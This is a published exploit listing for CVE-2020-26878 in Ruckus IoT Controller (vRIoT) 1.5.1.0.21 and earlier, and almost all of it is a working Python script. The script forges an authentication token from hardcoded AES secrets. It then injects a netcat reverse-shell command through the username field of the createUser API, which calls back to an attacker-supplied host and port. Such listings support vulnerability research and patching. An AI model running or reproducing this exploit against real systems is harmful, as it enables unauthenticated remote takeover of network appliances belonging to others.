Ruckus IoT Controller 1.5.1.0.21 Remote Code Execution

Ruckus IoT Controller (Ruckus vRIoT) versions 1.5.1.0.21 and below suffer from a remote code execution vulnerability.


MD5 | a76ca35e7a3f8b47cc3cd57b5a659c7c

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# Product: Ruckus IoT Controller (Ruckus vRIoT)
# Version: <= 1.5.1.0.21
# Vendor: https://support.ruckuswireless.com/
# Vulnerability: Command Injection & Broken Authentication
# References: CVE-2020-26878
# Discovered by: Juan Manuel Fernandez
# Exploit Title: Ruckus IoT Controller (Ruckus vRIoT) 1.5.1.0.21 - Remote Code Execution
# Exploit Author: Emre SUREN
# Disclosure Date: 2020-10-26
# Tested on: Appliance

#!/usr/bin/python
# -*- coding: utf-8 -*-

import requests, urllib3, sys
from Crypto.Cipher import AES
from base64 import b64encode, b64decode
from colorama import Fore
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def listen(lhost, lport):
  opt = str(raw_input(Fore.YELLOW + "[?] Listening " + lhost + " " + lport + " (i.e. netcat) ? (y/n): "))
  if opt == "y":
    return True
  else:
    return False

def generatePayload(lhost, lport):

  payload="; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc "+lhost+" "+lport+" >/tmp/f; #"

  return payload

def generateMagicToken():

  enc_dec_method = 'utf-8'
  salt = 'nplusServiceAuth'
  salt = salt.encode("utf8")
  str_key = 'serviceN1authent'
  str_to_enc = 'TlBMVVMx'

  return encrypt(enc_dec_method, salt, str_key, str_to_enc)

def encrypt(enc_dec_method, salt, str_key, str_to_enc):

  aes_obj = AES.new(str_key, AES.MODE_CFB, salt)
  hx_enc = aes_obj.encrypt(str_to_enc.encode("utf8"))
  mret = b64encode(hx_enc).decode(enc_dec_method)

  return mret

def execCmd(rhost, rport, lhost, lport):

  payload = generatePayload(lhost, lport)
  post_data = {
     "username": payload,
     "password": "test"
  }
  print(Fore.BLUE + "[*] Payload\t: " + payload)

  token = generateMagicToken()
  headers = {
    "Authorization": token
  }

  rpath = "/service/v1/createUser"
  uri = 'https://' + rhost + ":" + rport + rpath

  r = requests.post(uri, json=post_data, headers=headers, verify=False)
  print(Fore.BLUE + "[*] Request sent")

  if r.status_code == 200:    
    print(Fore.GREEN + "[+] Successful. Check for the session...")
  else:
    print(Fore.RED + "[X] Failed. Check for the response...")
    print(Fore.BLUE + "[*] Response\t: " + r.text)
    sys.exit()

def main():

  if (len(sys.argv) != 5):
    print("[*] Usage: ruckus151021.py <RHOST> <RPORT> <LHOST> <LPORT>")
    print("[*] <RHOST> -> Target IP")
    print("[*] <RPORT> -> Target Port")
    print("[*] <LHOST> -> Attacker IP")
    print("[*] <LPORT> -> Attacker Port")
    print("[*] Example: python {} 192.168.2.25 443 192.168.2.3 9001".format(sys.argv[0]))
    exit(0)

  rhost = sys.argv[1]
  rport = sys.argv[2]
  lhost = sys.argv[3]
  lport = sys.argv[4]

  if not listen(lhost, lport):
    print(Fore.RED + "[!] Please listen at port {} to connect a reverse session !".format(lport))
  else:
    execCmd(rhost, rport, lhost, lport)

if __name__ == "__main__":
    main()

Source: packetstormsecurity.com
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